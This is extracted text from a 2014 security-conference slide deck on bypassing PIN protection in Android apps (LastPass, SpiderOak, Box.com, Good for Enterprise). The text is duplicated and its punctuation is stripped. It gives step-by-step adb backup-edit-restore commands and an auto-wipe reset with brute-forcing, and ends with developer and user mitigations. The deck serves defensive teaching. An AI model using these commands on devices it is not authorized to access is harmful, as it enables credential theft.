  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 87: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 88: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
